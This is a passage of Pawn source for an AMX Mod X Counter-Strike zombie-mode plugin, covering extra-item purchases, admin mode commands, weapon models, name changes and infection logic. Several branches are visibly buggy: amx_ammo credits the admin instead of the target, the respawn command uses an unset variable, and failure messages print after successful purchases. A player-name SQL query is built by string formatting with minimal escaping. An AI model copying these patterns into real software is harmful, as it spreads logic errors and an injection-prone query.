4866 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Sniper^1 during night...");
4867 }
4868 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4869 {
4870 g_bRoundStart = false;
4871 remove_task(550, 0);
4872 StartSniperMode(iPlayer);
4873 remove_task(700, 0);
4874 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4875 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4876 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
4877 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
4878 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4879 g_iModeRecordings += 1;
4880 g_iSnipers += 1;
4881 }
4882 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4883 }
4884 }
4885 case 22:
4886 {
4887 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4888 {
4889 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4890 return 0;
4891 }
4892 static i;
4893 static bool:bDone;
4894 static Float:fGameTime;
4895 fGameTime = get_gametime();
4896 bDone = true;
4897 i = 0;
4898 while (i < g_iModeRecordings)
4899 {
4900 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4901 {
4902 bDone = false;
4903 }
4904 i += 1;
4905 }
4906 if (!bDone)
4907 {
4908 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4909 }
4910 else
4911 {
4912 if (fGameTime - g_fRoundStartTime < 3.0)
4913 {
4914 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4915 }
4916 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4917 {
4918 g_bRoundStart = false;
4919 remove_task(550, 0);
4920 StartNemesisMode(iPlayer);
4921 remove_task(700, 0);
4922 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4923 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4924 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
4925 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
4926 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4927 g_iModeRecordings += 1;
4928 }
4929 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4930 }
4931 }
4932 case 23:
4933 {
4934 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4935 {
4936 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4937 return 0;
4938 }
4939 static i;
4940 static bool:bDone;
4941 static Float:fGameTime;
4942 fGameTime = get_gametime();
4943 bDone = true;
4944 i = 0;
4945 while (i < g_iModeRecordings)
4946 {
4947 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4948 {
4949 bDone = false;
4950 }
4951 i += 1;
4952 }
4953 if (!bDone)
4954 {
4955 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4956 }
4957 else
4958 {
4959 if (fGameTime - g_fRoundStartTime < 3.0)
4960 {
4961 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4962 }
4963 if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4964 {
4965 g_bRoundStart = false;
4966 remove_task(550, 0);
4967 StartAssassinMode(iPlayer);
4968 remove_task(700, 0);
4969 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4970 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4971 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
4972 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Assassin", g_cName[iPlayer]);
4973 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4974 g_iModeRecordings += 1;
4975 }
4976 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4977 }
4978 }
4979 case 24:
4980 {
4981 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4982 {
4983 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4984 return 0;
4985 }
4986 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4987 {
4988 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4989 return 0;
4990 }
4991 g_iBlinks[iPlayer] += 5;
4992 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4993 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4994 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
4995 }
4996 default:
4997 {
4998 }
4999 }
5000 }
5001 return 0;
5002}
5003
5004public CmdMode(iPlayer)
5005{
5006 static Float:fGameTime;
5007 static iAmmoTarget;
5008 static cAmmo[4];
5009 static iAlive;
5010 static iTarget;
5011 static cTarget[32];
5012 static cMode[32];
5013 static iAmmo;
5014 read_argv(0, cMode, 32);
5015 read_argv(1, cTarget, 31);
5016 read_argv(2, cAmmo, 4);
5017 iAlive = GetAliveCount();
5018 iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
5019 iTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
5020 fGameTime = get_gametime();
5021 if (fGameTime - g_fRoundStartTime < 2.0)
5022 {
5023 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 two seconds^1 after round started!");
5024 console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
5025 }
5026 if (get_user_flags ( iPlayer ) & read_flags ( "a" ) && equal(cMode, "amx_ammo") && iTarget && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
5027 {
5028 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 %s^1: give^3 %d^1 ammopacks to^4 %s^1", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
5029 g_iPacks[iPlayer] += iAmmo;
5030 }
5031 if (get_user_flags ( iPlayer ) & read_flags ( "h" ) && equal(cMode, "amx_human") && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
5032 {
5033 if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
5034 {
5035 return 0;
5036 }
5037 MakeHuman(iTarget, false, false);
5038 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", g_cName[iPlayer], g_cName[iTarget]);
5039 log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
5040 }
5041 if (get_user_flags ( iPlayer ) & read_flags ( "6" ) && equal(cMode, "amx_respawn") && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
5042 {
5043 ExecuteHamB(Ham_CS_RoundRespawn, iAmmoTarget);
5044 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 respawn^3 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
5045 log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
5046 }
5047 if (get_user_flags ( iPlayer ) & read_flags ( "z" ) && equal(cMode, "amx_zombie") && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
5048 {
5049 if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
5050 {
5051 return 0;
5052 }
5053 if (g_bRoundStart)
5054 {
5055 StartNormalMode(iTarget);
5056 remove_task(700, 0);
5057 g_bRoundStart = false;
5058 remove_task(550, 0);
5059 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
5060 log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
5061 }
5062 else
5063 {
5064 MakeZombie(0, iTarget, false, false, false);
5065 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie", g_cName[iPlayer], g_cName[iTarget]);
5066 log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
5067 }
5068 }
5069 if (equal(cMode, "amx_sniper") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "x" ) && g_iRoundsCount > 3)
5070 {
5071 StartSniperMode(iTarget);
5072 remove_task(700, 0);
5073 g_bRoundStart = false;
5074 remove_task(550, 0);
5075 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", g_cName[iPlayer], g_cName[iTarget]);
5076 log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
5077 }
5078 if (equal(cMode, "amx_survivor") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "v" ) && g_iRoundsCount > 3)
5079 {
5080 StartSurvivorMode(iTarget);
5081 remove_task(700, 0);
5082 g_bRoundStart = false;
5083 remove_task(550, 0);
5084 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", g_cName[iPlayer], g_cName[iTarget]);
5085 log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
5086 }
5087 if (equal(cMode, "amx_nemesis") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "n" ) && g_iRoundsCount > 3)
5088 {
5089 StartNemesisMode(iTarget);
5090 remove_task(700, 0);
5091 g_bRoundStart = false;
5092 remove_task(550, 0);
5093 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
5094 log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
5095 }
5096 if (equal(cMode, "amx_assassin") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "b" ) && g_iRoundsCount > 3)
5097 {
5098 StartAssassinMode(iTarget);
5099 remove_task(700, 0);
5100 g_bRoundStart = false;
5101 remove_task(550, 0);
5102 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", g_cName[iPlayer], g_cName[iTarget]);
5103 log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
5104 }
5105 if (equal(cMode, "amx_swarm") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
5106 {
5107 StartSwarmMode(true);
5108 remove_task(700, 0);
5109 g_bRoundStart = false;
5110 remove_task(550, 0);
5111 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
5112 log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
5113 }
5114 if (equal(cMode, "amx_plague") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "p" ) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
5115 {
5116 StartPlagueMode(true);
5117 remove_task(700, 0);
5118 g_bRoundStart = false;
5119 remove_task(550, 0);
5120 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
5121 log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
5122 }
5123 if (equal(cMode, "amx_armageddon") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "j" ) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
5124 {
5125 StartArmageddonMode(true);
5126 remove_task(700, 0);
5127 g_bRoundStart = false;
5128 remove_task(550, 0);
5129 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
5130 log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
5131 }
5132 if (equal(cMode, "amx_nightmare") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "2" ) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
5133 {
5134 StartNightmareMode(true);
5135 remove_task(700, 0);
5136 g_bRoundStart = false;
5137 remove_task(550, 0);
5138 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
5139 log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
5140 }
5141 if (equal(cMode, "amx_assassins_vs_snipers") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "9" ) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
5142 {
5143 StartAssassinsVsSnipersMode(true);
5144 remove_task(700, 0);
5145 g_bRoundStart = false;
5146 remove_task(550, 0);
5147 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
5148 log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
5149 }
5150 if (equal(cMode, "amx_multiple") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "0" ) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
5151 {
5152 StartMultiMode(true);
5153 remove_task(700, 0);
5154 g_bRoundStart = false;
5155 remove_task(550, 0);
5156 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
5157 log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
5158 }
5159 return 0;
5160}
5161
5162CheckLastPlayer(iPlayer)
5163{
5164 if (g_bRoundEnd || task_exists(550, 0))
5165 {
5166 return 0;
5167 }
5168 static i;
5169 static iPlayersNum;
5170 iPlayersNum = GetAliveCount();
5171 if (iPlayersNum < 2)
5172 {
5173 return 0;
5174 }
5175 if (g_bZombie[iPlayer] && GetZombies() == 1)
5176 {
5177 if (GetHumans() == 1 && GetCTs() == 1)
5178 {
5179 return 0;
5180 }
5181 do {
5182 } while (iPlayer == (i = GetRandomAlive()));
5183 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
5184 if (g_iPlayerType[iPlayer] & 1)
5185 {
5186 MakeZombie(0, i, false, true, false);
5187 set_user_health(i, get_user_health(iPlayer));
5188 }
5189 else
5190 {
5191 if (g_iPlayerType[iPlayer] & 2)
5192 {
5193 MakeZombie(0, i, false, false, true);
5194 set_user_health(i, get_user_health(iPlayer));
5195 }
5196 MakeZombie(0, i, false, false, false);
5197 }
5198 }
5199 else
5200 {
5201 if (!g_bZombie[iPlayer] && GetHumans() == 1)
5202 {
5203 if (GetZombies() == 1 && GetTs() == 1)
5204 {
5205 return 0;
5206 }
5207 do {
5208 } while (iPlayer == (i = GetRandomAlive()));
5209 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
5210 if (g_iPlayerType[iPlayer] & 4)
5211 {
5212 MakeHuman(i, true, false);
5213 set_user_health(i, get_user_health(iPlayer));
5214 }
5215 if (g_iPlayerType[iPlayer] & 8)
5216 {
5217 MakeHuman(i, false, true);
5218 set_user_health(i, get_user_health(iPlayer));
5219 }
5220 MakeHuman(i, false, false);
5221 }
5222 }
5223 return 0;
5224}
5225
5226public EventCurWeapon(iPlayer)
5227{
5228 g_iWeapon[iPlayer] = read_data(2);
5229 if (g_bZombie[iPlayer])
5230 {
5231 switch (g_iWeapon[iPlayer])
5232 {
5233 case CSW_HEGRENADE:
5234 {
5235 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
5236 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
5237 }
5238 case CSW_KNIFE:
5239 {
5240 if (!g_iPlayerType[iPlayer])
5241 {
5242 set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
5243 }
5244 else
5245 {
5246 if (g_iPlayerType[iPlayer] & 1)
5247 {
5248 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
5249 }
5250 if (g_iPlayerType[iPlayer] & 2)
5251 {
5252 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
5253 }
5254 }
5255 set_pev(iPlayer, pev_weaponmodel2, "");
5256 }
5257 default:
5258 {
5259 }
5260 }
5261 }
5262 else
5263 {
5264 if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == CSW_KNIFE)
5265 {
5266 entity_set_string(iPlayer,EV_SZ_viewmodel, "models/v_egon.mdl" );
5267 entity_set_string(iPlayer,EV_SZ_weaponmodel, "models/p_egon.mdl" );
5268 }
5269 else
5270 {
5271 if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == CSW_AWP)
5272 {
5273 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
5274 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
5275 }
5276 if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == CSW_AK47)
5277 {
5278 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_ak47.mdl");
5279 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_ak47.mdl");
5280 }
5281 if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == CSW_DEAGLE)
5282 {
5283 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_deagle.mdl");
5284 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_deagle.mdl");
5285 }
5286 }
5287 }
5288 return 0;
5289}
5290
5291public UpdateWeapon(iPlayer)
5292{
5293 g_iWeapon[iPlayer] = read_data(2);
5294 return 0;
5295}
5296
5297public message_cur_weapon(msg_id, msg_dest, msg_entity)
5298{
5299 if (!g_bUnlimitedClip[msg_entity])
5300 return;
5301
5302 if (!is_user_alive(msg_entity) || get_msg_arg_int(1) != 1)
5303 return;
5304
5305 static weapon, clip
5306 weapon = get_msg_arg_int(2)
5307 clip = get_msg_arg_int(3)
5308
5309 if (MAXCLIP[weapon] > 2)
5310 {
5311 set_msg_arg_int(3, get_msg_argtype(3), MAXCLIP[weapon])
5312
5313 if (clip < 2)
5314 {
5315 static wname[32], weapon_ent
5316 get_weaponname(weapon, wname, sizeof wname - 1)
5317 weapon_ent = fm_find_ent_by_owner(-1, wname, msg_entity)
5318
5319 fm_set_weapon_ammo(weapon_ent, MAXCLIP[weapon])
5320 }
5321 }
5322}
5323
5324GetCTs()
5325{
5326 static iCount;
5327 static i;
5328 iCount = 0;
5329 i = 1;
5330 while (g_iMaxClients + 1 > i)
5331 {
5332 if (g_bConnected[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
5333 {
5334 iCount += 1;
5335 }
5336 i += 1;
5337 }
5338 return iCount;
5339}
5340
5341GetTs()
5342{
5343 static iCount;
5344 static i;
5345 iCount = 0;
5346 i = 1;
5347 while (g_iMaxClients + 1 > i)
5348 {
5349 if (g_bConnected[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
5350 {
5351 iCount += 1;
5352 }
5353 i += 1;
5354 }
5355 return iCount;
5356}
5357
5358GetAliveCount()
5359{
5360 static iCount;
5361 static i;
5362 iCount = 0;
5363 i = 1;
5364 while (g_iMaxClients + 1 > i)
5365 {
5366 if (g_bAlive[i])
5367 {
5368 iCount += 1;
5369 }
5370 i += 1;
5371 }
5372 return iCount;
5373}
5374
5375GetRandomAlive()
5376{
5377 static j;
5378 static i;
5379 static iPlayers[32];
5380 j = 0;
5381 i = 1;
5382 while (g_iMaxClients + 1 > i)
5383 {
5384 if (g_bAlive[i])
5385 {
5386 iPlayers[j] = i;
5387 j += 1;
5388 }
5389 i += 1;
5390 }
5391 return iPlayers[random_num(0, j + -1)];
5392}
5393
5394GetZombies()
5395{
5396 static iNum;
5397 static i;
5398 iNum = 0;
5399 i = 1;
5400 while (g_iMaxClients + 1 > i)
5401 {
5402 if (g_bAlive[i] && g_bZombie[i])
5403 {
5404 iNum += 1;
5405 }
5406 i += 1;
5407 }
5408 return iNum;
5409}
5410
5411GetHumans()
5412{
5413 static iNum;
5414 static i;
5415 iNum = 0;
5416 i = 1;
5417 while (g_iMaxClients + 1 > i)
5418 {
5419 if (g_bAlive[i] && !g_bZombie[i])
5420 {
5421 iNum += 1;
5422 }
5423 i += 1;
5424 }
5425 return iNum;
5426}
5427
5428public client_infochanged(iPlayer)
5429{
5430 if (!g_bConnected[iPlayer])
5431 {
5432 return 0;
5433 }
5434 static cName[32];
5435 static Name[64] = { 0, ... }, queryData[32] = { 0, ... }, Float:finalChange[33] = { 0.0, ... }, Float:gameTime = 0.0;
5436 static newn[64], oldn[64]
5437 get_user_name(iPlayer,oldn,63)
5438 get_user_info(iPlayer,"name",newn,63)
5439 if(!equali(oldn,newn)&&strlen(newn)>0)
5440 {
5441 new vlt=nvault_open("points")
5442 if (vlt != -1)
5443 {
5444 g_iPoints[iPlayer]=nvault_get(vlt,newn)
5445 nvault_close(vlt)
5446 vlt=-1
5447 }
5448 }
5449 get_user_info(iPlayer, "name", cName, 31);
5450 if (!equal(g_cName[iPlayer], cName, 0))
5451 {
5452 copy(g_cName[iPlayer], 31, cName);
5453 }
5454 if (is_user_connected(iPlayer) == 1 && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
5455 {
5456 get_user_info(iPlayer, "name", Name, charsmax(Name));
5457
5458 replace_all(Name, charsmax(Name), "`", "*");
5459 replace_all(Name, charsmax(Name), "'", "*");
5460 replace_all(Name, charsmax(Name), "\", "*");
5461
5462 if (equali(Name, g_Name[iPlayer]) == 0)
5463 {
5464 resetPlayer(iPlayer);
5465
5466 gameTime = get_gametime();
5467
5468 if (gameTime < finalChange[iPlayer])
5469 {
5470 server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
5471 }
5472
5473 else
5474 {
5475 finalChange[iPlayer] = gameTime + 7.5;
5476
5477 num_to_str(iPlayer, queryData, charsmax(queryData));
5478
5479 formatex(g_Name[iPlayer], charsmax(g_Name[]), "%s", Name);
5480
5481 get_user_authid(iPlayer, g_Steam[iPlayer], charsmax(g_Steam[]));
5482 get_user_ip(iPlayer, g_Ip[iPlayer], charsmax(g_Ip[]), 1);
5483
5484 formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, \
5485 Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", \
5486 g_Name[iPlayer]);
5487
5488 SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
5489 }
5490 }
5491 }
5492 set_task(5.0, "TaskCheckName", iPlayer, "", 0, "", 0);
5493 return 0;
5494}
5495
5496
5497MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
5498{
5499 if (g_iZombieNextClass[iVictim] == -1)
5500 {
5501 set_task(0.20, "ShowMenuClasses", iVictim, "", 0, "", 0);
5502 }
5503 g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
5504 if (g_iZombieClass[iVictim] == -1)
5505 {
5506 g_iZombieClass[iVictim] = 0;
5507 }
5508 if (get_user_jetpack(iVictim))
5509 {
5510 user_drop_jetpack(iVictim);
5511 }
5512 set_pev(iVictim, pev_effects, pev(iVictim, pev_effects) &~ EF_BRIGHTLIGHT)
5513 set_pev(iVictim, pev_effects, pev(iVictim, pev_effects) &~ EF_NODRAW)
5514 g_bFlash[iVictim] = true;
5515 g_bFlashEnabled[iVictim] = true;
5516 g_bZombie[iVictim] = true;
5517 g_bNoDamage[iVictim] = false;
5518 g_iBurningDuration[iVictim] = 0;
5519 g_iPlayerType[iVictim] = 0;
5520 g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
5521 set_user_rendering( iVictim, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5522 remove_task(iVictim + 200, 0);
5523 remove_task(iVictim + 250, 0);
5524 if (iAttacker)
5525 {
5526 SendDeathMsg ( iAttacker, iVictim );
5527 FixDeadAttrib ( iVictim );
5528 UpdateFrags ( iAttacker, iVictim, 1, 1, 1 );
5529 g_iPacks[iAttacker]++;
5530 if (g_iZombieClass[iAttacker] == 6)
5531 {
5532 set_user_health(iAttacker, get_user_health(iAttacker) + 250);
5533 set_user_rendering( iAttacker, kRenderFxGlowShell, 255, 10, 10, kRenderNormal, 0 );
5534 set_user_footsteps( iAttacker, 1 );
5535 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, iAttacker)
5536 write_short(4096)
5537 write_short(2048)
5538 write_short(0)
5539 write_byte(255)
5540 write_byte(0)
5541 write_byte(0)
5542 write_byte(255)
5543 message_end()
5544 set_task(3.00, "TaskRemoveRender", iAttacker, "", 0, "", 0);
5545 set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
5546 ShowSyncHudMsg(iAttacker, g_iRegenerationSync, "== HUNTER ==^n!!!Regeneration: +250 HP Gained!!!");
5547 }
5548 }
5549 if (!bSilent)
5550 {
5551 if (bNemesis)
5552 {
5553 g_iPlayerType[iVictim] |= 1;
5554 set_user_health(iVictim, 150000);
5555 g_cClass[iVictim] = "Nemesis"
5556 }
5557 else if (bAssassin)
5558 {
5559 g_iPlayerType[iVictim] |= 2;
5560 set_user_health(iVictim, 17500);
5561 g_cClass[iVictim] = "Assassin"
5562 }
5563 else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
5564 {
5565 set_user_health(iVictim, 10500);
5566 EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
5567 }
5568 else
5569 {
5570 set_user_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
5571 EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
5572 set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
5573 if (iAttacker)
5574 ShowSyncHudMsg(0, g_iAntidoteSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
5575 else
5576 ShowSyncHudMsg(0, g_iAntidoteSync, "%s's brains have been eaten...", g_cName[iVictim]);
5577 }
5578 }
5579 else
5580 {
5581 set_user_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
5582 }
5583 if (fm_cs_get_user_team(iVictim) != FM_CS_TEAM_T)
5584 {
5585 remove_task ( iVictim + TASK_TEAM );
5586 fm_cs_set_user_team ( iVictim, FM_CS_TEAM_T);
5587 fm_user_team_update ( iVictim );
5588 }
5589 if (g_iPlayerType[iVictim] & 1)
5590 {
5591 fm_set_rendering (iVictim, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25);
5592 }
5593 static Float:fCurrentTime;
5594 fCurrentTime = get_gametime();
5595 if (fCurrentTime - g_fLastChangedModel >= 0.25)
5596 {
5597 ChangeModel(iVictim + 250);
5598 g_fLastChangedModel = fCurrentTime;
5599 }
5600 else
5601 {
5602 set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
5603 g_fLastChangedModel = g_fLastChangedModel + 0.25;
5604 }
5605 cs_set_user_zoom(iVictim, CS_RESET_ZOOM, 1);
5606 set_pev (iVictim, pev_armorvalue, 0.0);
5607 drop_weapons ( iVictim, 1 );
5608 drop_weapons ( iVictim, 2 );
5609 strip_user_weapons(iVictim);
5610 give_item(iVictim, "weapon_knife");
5611 ExecuteHamB(Ham_Item_PreFrame, iVictim);
5612 InfectionEffects ( iVictim );
